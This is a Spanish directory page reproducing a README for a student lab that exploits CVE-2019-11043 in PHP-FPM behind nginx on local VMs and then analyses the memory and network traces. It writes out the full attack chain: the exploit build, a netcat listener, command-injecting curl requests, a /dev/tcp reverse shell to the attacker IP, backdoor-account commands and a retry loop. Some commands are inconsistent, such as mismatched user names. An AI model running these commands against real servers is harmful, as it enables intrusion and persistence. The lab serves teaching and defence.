Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-11043-Vulnerability — Laboratorio práctico que reproduce CVE-2019-11043 PHP-FPM RCE detrás de nginx, demostrando persistencia mediante túnel inverso, análisis forense de memoria y análisis de tráfico de red. | Kitploit
Herramientas/GitHubGitHub/magentabear/cve-2019-11043-vulnerability
Forensia de MemoriaMecanismos de PersistenciaAnálisis de VulnerabilidadesExplotaciónForensia de RedExplotación de Aplicaciones WebPruebas de PenetraciónMala ConfiguraciónAprendizaje y Educación

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Red Teaming
Labs y Práctica
GitHubmagentabear/cve-2019-11043-vulnerability

CVE-2019-11043-Vulnerability

Laboratorio práctico que reproduce CVE-2019-11043 PHP-FPM RCE detrás de nginx, demostrando persistencia mediante túnel inverso, análisis forense de memoria y análisis de tráfico de red.

Ver Repositorio
7hace 9 mesesAún no revisado

Colaboradores: Olaf Madejski, Andrew Masone, Nate Desany

Demostración de Explotación de Túnel Inverso y Persistencia en PHP-FPM

CVE-2019-11043 — Vulnerabilidad de Manejo de Rutas en Debian PHP-FPM


Resumen del Proyecto

En octubre de 2019, los investigadores del aviso de seguridad de Debian Emil Lerner y Andrew Danau publicaron un aviso advirtiendo a la comunidad de Debian sobre una vulnerabilidad crítica en PHP-FPM. Debido a la validación insuficiente en el código de manejo de rutas de PHP-FPM, los atacantes podían manipular solicitudes especialmente diseñadas para lograr ejecución remota de código arbitrario bajo ciertas configuraciones de NGINX + PHP-FPM.

Este laboratorio demuestra la explotación de:

CVE-2019-11043

Una vulnerabilidad que afecta a PHP-FPM ejecutándose detrás de NGINX que, cuando se activa, puede permitir a los atacantes ejecutar código arbitrario y establecer persistencia mediante túneles inversos.

El proyecto recrea un entorno vulnerable, ejecuta la cadena de explotación y evalúa cómo los adversarios logran persistencia mediante técnicas de tunelización en escenarios del mundo real.


Tabla de Contenidos

Config

  • Contiene el archivo index.php que alberga el archivo índice para el contenedor docker.
  • Contiene la configuración predeterminada parcheada para nginx y el uso de php-fpm.
  • Contiene la configuración predeterminada vulnerable para nginx y el uso de php-fpm.

Disk_Images

  • Contiene un archivo de texto que apunta a Google Drive, donde se encuentran 2 archivos zip de la imagen de disco de ambas máquinas virtuales, el host (Home) y el atacante.

Screenshots

  • Carpeta que contiene capturas de pantalla a lo largo del laboratorio incluidas en el readme.

Supplemental Material

  • README para las 2 herramientas utilizadas para el exploit, así como el archivo docker compose para la imagen docker.

LogFiles

  • Archivos de registro que van desde la máquina atacante y la máquina Host (Home).
  • Estos archivos incluyen registros .pcap divididos para facilitar su uso.
  • Un enlace al volcado de memoria; esto es importante ya que el exploit utiliza inherentemente un desbordamiento de memoria.
  • Registros access, auth, error, faillog, fulllog.zip (registros journalctl), history, php7.3-fpm (para el uso del parcheo de la vulnerabilidad), syslog y term.

README.md

  • Archivo readme que estás leyendo ahora.

Relevancia del Proyecto

Vector de Ataque

Esta cadena de ataque se alinea directamente con varias técnicas de alto impacto de MITRE ATT&CK:

Por Qué Esto Sigue Importando Hoy

La tunelización inversa para persistencia es una TTP (Táctica, Técnica, Procedimiento) de alta frecuencia utilizada por grupos APT, botnets y operadores de ransomware. PHP-FPM sigue estando ampliamente desplegado en entornos de producción, y las malas configuraciones explotadas por CVE-2019-11043 todavía se observan en la naturaleza.

Estas no son abstracciones teóricas: reflejan exactamente los comportamientos documentados en campañas de explotación activa que involucran actores estatales y grupos de ransomware.

Aunque CVE-2019-11043 tiene varios años, la vulnerabilidad sigue siendo relevante debido a las siguientes realidades modernas de seguridad:

  • Las aplicaciones PHP heredadas siguen estando en todas partes. Muchas organizaciones continúan ejecutando stacks obsoletos de PHP 5.x/7.x debido a dependencias de aplicaciones web a largo plazo, deuda técnica o miedo a romper sistemas en producción. Estos entornos a menudo permanecen sin parchear y vulnerables.

  • NGINX + PHP-FPM es una de las arquitecturas de alojamiento más comunes a nivel global. Esto hace que las vulnerabilidades en PHP-FPM sean extremadamente atractivas para los atacantes que buscan superficies de explotación grandes y duraderas.

  • La tunelización inversa es una técnica de persistencia central en las amenazas modernas. Grupos como Lazarus, APT29, FIN11 y numerosos operadores de ransomware utilizan túneles SSH inversos, túneles WebSocket e incluso reverse shells basadas en PHP para mantener acceso a largo plazo sin depender de puertos de entrada expuestos.

  • Las malas configuraciones siguen siendo la causa #1 de las brechas. Incluso cuando existen parches, los bloques "location" mal configurados de NGINX y las variables PATH_INFO deficientemente validadas continúan exponiendo entornos a la explotación.

  • Los kits de automatización de exploits todavía apuntan a este CVE. Herramientas como escáneres automatizados, botnets y malware IoT sondean de forma rutinaria configuraciones vulnerables de PHP-FPM porque el exploit resulta en una ejecución de código fiable.

  • Los entornos cloud están ampliando la superficie de ataque. Contenedores mal asegurados, configuraciones de hosting compartido e imágenes Docker base desactualizadas a menudo contienen versiones de PHP-FPM sin parchear, lo que lleva a un movimiento lateral rápido dentro de las redes cloud.

  • A los atacantes les encanta la "fruta madura". Una vulnerabilidad que permite ejecución remota de código + persistencia mediante túneles con un mínimo de habilidad requerida siempre seguirá siendo un objetivo de alto valor.

En el panorama actual de amenazas, donde el acceso persistente, la tunelización sigilosa y las debilidades en la cadena de suministro dominan los titulares de ciberseguridad, comprender y demostrar cómo se explota CVE-2019-11043 proporciona una visión crítica sobre los patrones de ataque modernos y las brechas defensivas.


Metodología

Entorno

El objetivo de este laboratorio fue simular una explotación del mundo real de CVE‑2019‑11043, una vulnerabilidad crítica de ejecución remota de código que afecta a PHP‑FPM detrás de nginx bajo ciertas configuraciones. La meta fue analizar la vulnerabilidad, reproducir el exploit en un entorno virtual controlado y demostrar los riesgos asociados con infraestructuras web mal configuradas.

Se utilizaron dos máquinas virtuales: ambas con nombre de usuario username y contraseña password.

RolMáquinaDirección IPPropósito
Objetivo / VíctimaUbuntu Server192.168.56.102Servidor PHP-FPM vulnerable ejecutando CVE-2019-11043
AtacanteUbuntu Server192.168.56.103Ejecuta el exploit, la reverse shell y la persistencia

Comandos para la configuración del host:

Actualizar apt

root@kitploit:~
sudo apt update && sudo apt -y upgrade

Creando el contenedor para la explotación de la vulnerabilidad.

root@kitploit:~
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d

Comandos para la configuración del objetivo:

Actualizar Apt, e instalar php, python básicos y más paquetes

root@kitploit:~
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
    netcat-traditional net-tools build-essential \
    php ruby ruby-full        
pip3 install requests
sudo apt install golang-go

Descarga una herramienta para explotar el CVE en cuestión y mueve la terminal para compilar el exploit.

root@kitploit:~
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build

Comandos para atacar al objetivo:

Desde aquí la configuración está completa; a modo de ejemplo de lo que puedes hacer primero,

  1. En una terminal (terminal 1) ejecuta:

    root@kitploit:~
    nc -lvnp 4444
    

Esto sirve para configurar un canal de escucha y habilita la reverse shell; debería estar siempre en escucha, ya que permite los comandos que aparecen más abajo en un experimento teórico.

  1. En otra terminal (terminal 2) ejecuta:

    root@kitploit:~
     cd phuip-fpizdam
    ./phuip-fpizdam http://192.168.56.102:8080/index.php
    

Debería mostrar líneas que confirmen que has explotado la vulnerabilidad con éxito.

Por último, abre una terminal final adicional (terminal 3).

Inmediatamente puedes empezar a probar la funcionalidad del exploit ejecutando:

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=id"

Esto crea un comando remoto basado en web y muestra la salida de id. Sin embargo, como se muestra en la captura de pantalla siguiente, debido al desbordamiento de memoria hay veces que el comando puede funcionar o no; frecuentemente, los comandos más pequeños tienen más probabilidades de funcionar.

Cualquier comando puede, en teoría, ejecutarse aquí; necesitaría ubicarse donde el siguiente comando dice AQUÍ. Sin embargo, las probabilidades de que un comando completo se ejecute pueden variar.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=HERE"

Este comando lee el contenido dentro del shell.

root@kitploit:~
http://192.168.56.102:8080/index.php?cmd=ls

En un ejemplo del mundo real, un actor de amenazas usaría este comando para crear una nueva cuenta y establecer una contraseña de password entre comillas.

root@kitploit:~
useradd threat
echo "password" | passwd --stdin hacker

Este comando crea una reverse shell; sin embargo, esto es una prueba de concepto y es difícil de lograr porque PHP-FPM mata y reaparece periódicamente los procesos worker.

Cuando el worker que fue corrompido muere, las modificaciones inyectadas en php.ini mueren con él.

root@kitploit:~
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"

A partir de aquí, un atacante probablemente usaría una tarea programada; en este ejemplo, CRON ya que el servidor está en Linux, y esto es el equivalente a los procesos de inicio de Windows.


Resultados

El laboratorio reprodujo con éxito CVE‑2019‑11043 en un entorno controlado y demostró cómo una configuración mal hecha de nginx + PHP‑FPM puede ser explotada de forma remota. Usando la vulnerable configuración basada en regex de fastcgi_split_path_info, la máquina atacante pudo forzar a PHP‑FPM a un estado inconsistente, logrando finalmente ejecución de código arbitrario. Adicionalmente, se realizó la extracción de archivos de registro de un servidor remoto desde varios sistemas y se analizaron los registros conocidos por estar relacionados con esta vulnerabilidad.

Una vez que se activó la vulnerabilidad, el atacante obtenía ejecución remota de comandos en el objetivo y podía interactuar con el sistema como el usuario local. El servidor web comprometido aceptaba comandos, los ejecutaba y devolvía la salida, lo que confirmaba una shell remota completamente funcional. Esto confirmó que el CVE sigue siendo explotable de forma fiable cuando se combina con la configuración vulnerable de división de rutas de nginx y las versiones afectadas de PHP‑FPM.

El entorno se comportó de manera consistente con el comportamiento documentado del exploit. Comandos como whoami, id, ls y echo se ejecutaron con éxito, mientras que comandos más complejos o interactivos demostraron la inestabilidad del proceso worker de PHP‑FPM explotado, uno de los efectos conocidos de esta vulnerabilidad.

Como se indicó, debido a la volatilidad de la vulnerabilidad, a veces susceptible y a veces no, hay momentos en los que funcionará y momentos en los que no; es recomendable scriptear comandos en bucles.

Esta vulnerabilidad explota un CVE directamente relacionado con un problema de desbordamiento de memoria y búfer, por lo que es importante ver la memoria de la máquina host y analizarla con Volatility.

Para este laboratorio analizamos los principales registros relacionados con esta vulnerabilidad: Memoria y Captura de Red.

La captura de red muestra los comandos que se intentan ejecutar en la máquina host. Estos incluyen el comando en sí y múltiples caracteres agregados al final de la URL del comando HTTP GET que se lanza contra el servidor y, a su vez, provoca un desbordamiento de memoria.

Adicionalmente, puedes ver en texto claro el comando ejecutado en este ejemplo inofensivo para descargar una imagen de un perro feliz de Google Images, así como el comando real con 'texto humorístico' del creador del github de PHuip.

La captura de memoria, analizada con Volatility y recopilada en un archivo .json, muestra procesos frecuentes con el mismo nombre ejecutados múltiples veces seguidas, lo que indica fallos y reintentos.

Esto ocurre porque el error de desbordamiento de memoria es el problema raíz relacionado con esta vulnerabilidad. Un usuario podría repetir un comando con algo como un script bash: while true; do curl "command" sleep 0.01, ejecutando comandos varias veces por segundo para intentar abrirse paso y lograr esa ejecución remota de código.

Puntos Clave

En general, el proyecto validó los siguientes puntos:

  • La regex vulnerable de nginx es suficiente para exponer a PHP‑FPM a la ejecución remota de código.

  • PHP‑FPM 8.1 (cuando se configura de esta manera) sigue siendo explotable bajo las condiciones de CVE‑2019‑11043.

  • Un atacante remoto puede obtener una ejecución de comandos significativa, lo que permite manipulación de archivos, exfiltración de datos y posible escalada de privilegios.

  • Las malas configuraciones en entornos de proxy inverso / FastCGI representan una superficie de ataque de alto impacto, especialmente cuando se combinan con endpoints de subida de archivos accesibles públicamente o páginas phpinfo().

Los resultados refuerzan lo crítica que es una configuración adecuada de FastCGI y resaltan la necesidad de valores seguros por defecto, auditorías de configuración rutinarias y una exposición mínima de endpoints de diagnóstico en entornos de producción.


Conclusión

La explotación de CVE-2019-11043 demuestra cómo una única mala configuración en PHP-FPM y NGINX puede llevar a la toma de control del servidor y al acceso persistente de un adversario.
El equipo del aviso de seguridad de Debian confirmó que actualizar php7.0 a la versión 7.0.33 o posterior parchea completamente esta vulnerabilidad.

Un parcheo adecuado, configuraciones NGINX endurecidas y la monitorización de comportamientos de tunelización son críticos para prevenir ataques similares en entornos modernos.


Referencias

  • Detalles del CVE – https://nvd.nist.gov/vuln/detail/cve-2019-11043
  • Registro del CVE – https://www.cve.org/CVERecord?id=CVE-2019-11043
  • Aviso de seguridad de Debian – https://lists.debian.org/debian-security-announce/2019/msg00204.html
  • Repositorio Docker para la Vulnerabilidad - https://github.com/vulhub/vulhub/tree/master
  • Herramienta Utilizada para Explotar la Vulnerabilidad - https://github.com/neex/phuip-fpizdam

Descargar herramienta
MITRE IDNombre de la Técnica
T1071Tunelización de la capa de aplicación
T1572Tunelización de protocolo
T1090Proxy / Proxy inverso
T1505Componentes del lado del servidor (PHP-FPM)
T1574Secuestro del flujo de ejecución